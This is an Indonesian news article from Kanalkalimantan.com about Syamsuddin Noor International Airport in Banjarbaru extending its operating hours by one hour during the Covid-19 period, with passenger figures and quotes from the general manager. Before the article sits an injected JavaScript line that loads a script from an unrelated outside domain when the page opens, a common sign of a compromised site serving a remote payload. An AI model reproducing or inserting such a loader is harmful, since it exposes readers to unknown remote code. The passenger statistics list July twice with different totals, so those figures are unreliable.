(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – General Manager (GM) Bandara Internasioal Syamsuddin Noor, Amiruddin Florensius, mengumumkan penambahan jam operasional bandara selama 1 jam dari jadwal sebelumnya. Langkah ini mengantisipasi peningkatan jumlah penumpang di masa adaptasi kebiasaan baru.
Sebelumnya, jam operasional Bandara Internasional Syamsudin Noor saat awal pandemi Covid-19 dibatasi dari pukul 07.30 Wita hingga 17.00 Wita. Dengan kebijakan penambahan satu jam tersebut, kini jam operasional berakhir hingga pukul 18.00 Wita.
“Kita sudah menggelar rapat atau pertemuan dengan pihak maskapai, menyusul permintaan pasar yang kian meningkat. Kita sepakat untuk menambah jam operasional bandara selama satu jam,” kata, Rabu (2/9/2020).
Foto: Fikri
Adapun kebijakan jam operasional baru ini ditujukan kepada seluruh penumpang yang akan melakukan penerbangan hingga pada 30 September mendatang. Artinya, jam operasional ini bersifat sementara.
Walaupun jam operasional hanya ditambah satu jam saja, kata Amiruddin, dampaknya sangat berpengaruh pada pergerakan pesawat di Bandara Internasional Syamsudin Noor. Dalam hal ini, ia mengklaim jam operasional yang baru membuat adanya tambahan 10 slot penerbangan.
“Untuk tambahan satu jam ini saja sudah dapat dimanfaatkan lima slot penerbangan keberangkatan (departure) dan lima slot penerbangan kedatangan (arrival) ke Bandara Internasional Syamsudin Noor,” lanjut Amiruddin.
Pertimbangan untuk menambah jam operasional Bandara Internasional Syamsudin Noor ini sudah dinilai efektif dan efisien. Termasuk, tidak mengindahkan penambahan jam operasional sampai pada malam hari.
GM Bandara Syamsuddin Noor Amiruddin Florensius saat memberikan keterangan penambahan jam operasional bandara. Foto: Rico
“Kita melihat permintaan pasar. Kalau di tambah jam operasionalnya sampai malam, tapi penumpangnya tidak ada, bagaimana? Jatuhnya tidak efektif. Kita harus menyesuasikan dengan kondisi itu,” tegasnya.
Menurut data, peningkatan jumlah penumpang di Bandara Internasional Syamsudin Noor, terjadi pada periode Juni – Agustus. Lebih rincinya, di Juli tercatat ada sebanyak 42.983 penumpang yang tiba dan berangkat. Lalu meningkat menjadi 76.208 penumpang pada Juli. Dan pada Agustus penumpang datang sebanyak 54.967 dan yang berangkat sebanyak 46,432 penumpang.
“Kalau di persentasekan, terjadi pertumbuhan jumlah penumpang sekitar 73 persen. Ini menunjukan bahwa masyarakat mulai percata melakukan penerbangan, meski di tengah situasi pandemi. Kami selaku pengelola, selalu menerapkan protokol kesehatan dalam pelayanan di kawasan bandara untuk dapat mencegah penularan Covid-19,” tegas GM Bandara Internasional Syamsudin Noor. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.